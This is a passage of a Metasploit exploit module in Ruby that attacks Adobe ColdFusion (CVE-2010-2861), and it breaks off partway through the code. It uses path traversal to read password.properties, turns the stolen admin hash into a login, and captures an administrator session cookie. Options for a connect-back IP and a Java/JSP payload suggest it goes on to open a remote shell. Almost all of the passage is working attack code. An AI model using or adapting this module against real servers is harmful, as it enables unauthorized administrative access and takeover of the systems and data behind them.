## # $Id: coldfusion_traversal.rb 11986 2011-03-16 10:15:54Z swtornio $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Adobe ColdFusion - Directory Traversal', 'Description' => %q{ This module exploits a directory traversal bug in Adobe ColdFusion. By reading the password.properties a user can login using the encrypted password itself. This should work on version 8 and below. }, 'License' => MSF_LICENSE, 'Author' => [ 'webDEViL' ], 'Version' => '$Revision: 11986 $', 'References' => [ [ 'CVE', '2010-2861' ], [ 'OSVDB', '67047' ], [ 'URL', 'http://www.procheckup.com/vulnerability_manager/vulnerabilities/pr10-07' ], [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-18.html' ], ], 'Privileged' => true, 'Platform' => ['linux','windows'], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Targets' => [ [ 'Universal', { 'Arch' => ARCH_JAVA, 'Payload' => 'java' } ], ], 'DisclosureDate' => 'Aug 25 2010', 'DefaultTarget' => 0)) register_options( [ OptString.new('SHELL', [ true, "The system shell to use.", 'automatic']), OptString.new('URL', [ true, 'Administrator Directory', '/CFIDE/administrator/' ]), OptString.new('CBIP', [ true, 'Connect Back IP (even when not using reverse shell)', nil ]), OptString.new('TRAV', [ false, 'Location of the password.properties file eg. ../../../../ColdFusion8/lib/password.properties%00en', nil ]), ], self.class) end def exploit ip = datastore['RHOST'] url = datastore['URL']+"enter.cfm" locale = "?locale=" trav = datastore['TRAV'] || "../../../../../../../../../../../../../../../../../../../../../../lib/password.properties%00en" datastore['JSP'] = "wD-"+rand_text_alphanumeric(6)+".jsp" datastore['URIPATH'] = rand_text_alphanumeric(6) print_status("Trying to acheive Directory Traversal...") while trav.match(/..\//im) res = send_request_raw({ 'uri' => url+locale+trav, 'method' => 'GET', 'headers' => { 'Connection' => "keep-alive", 'Accept-Encoding' => "zip,deflate", }, }, -1) if (res.nil?) print_error("no response for #{ip}:#{rport} #{url}") elsif (res.code == 200) #print_error("#{res.body}")#debug if match = res.body.match(/([0-9A-F]{40})/im); caphash = $1 print_status("URL: #{ip}#{url}?locale=#{trav}") print_status("Admin Hash: " + caphash) break else #select(nil, nil, nil, 3) trav=trav[3..-1] print_status("Trav:"+trav) end else '' end end if caphash.nil? print_error("Could not determine location of password.properties file, Set TRAV option manually") print_error("OR ColdFusion is not vulnerable") return end keyz = Time.now.to_i.to_s+"123" print_status("Time: "+ keyz) loghash= OpenSSL::HMAC.digest(OpenSSL::Digest::Digest.new('sha1'), keyz, caphash).unpack('H*')[0].upcase print_status("Login Hash: "+loghash) params = 'cfadminPassword='+loghash params << '&requestedURL=%2FCFIDE%2Fadministrator%2Fenter.cfm%3F&' params << 'salt='+keyz params << '&submit=Login' res = send_request_cgi({ 'method' => 'POST', 'uri' => url, 'data' => params }) if (res) #print_status("Me want Cookie: "+ res.headers['Set-Cookie']) if (res.headers['Set-Cookie'].match(/([A-Za-z0-9]{20,200})/im);) session = $1 print_status("Cookie: #{session}") else print_error("Error retrieving cookie!") end else print_error("No response received while logging in.") end print_status("Attempting to automatically detect the platform...") ##AUTO_DETECT START path = datastore['URL'] + 'settings/mappings.cfm' res = send_request_raw( { 'uri' => path, 'headers' => { 'Cookie' => "CFAUTHORIZATION_cfadmin=#{session}" } }, 20) if (not res) or (res.code != 200) print_error("Failed: Error requesting #{path}") return nil end if (res.body.match(/.*td *>(.*CFIDE )/im);) os = $1 os.match(/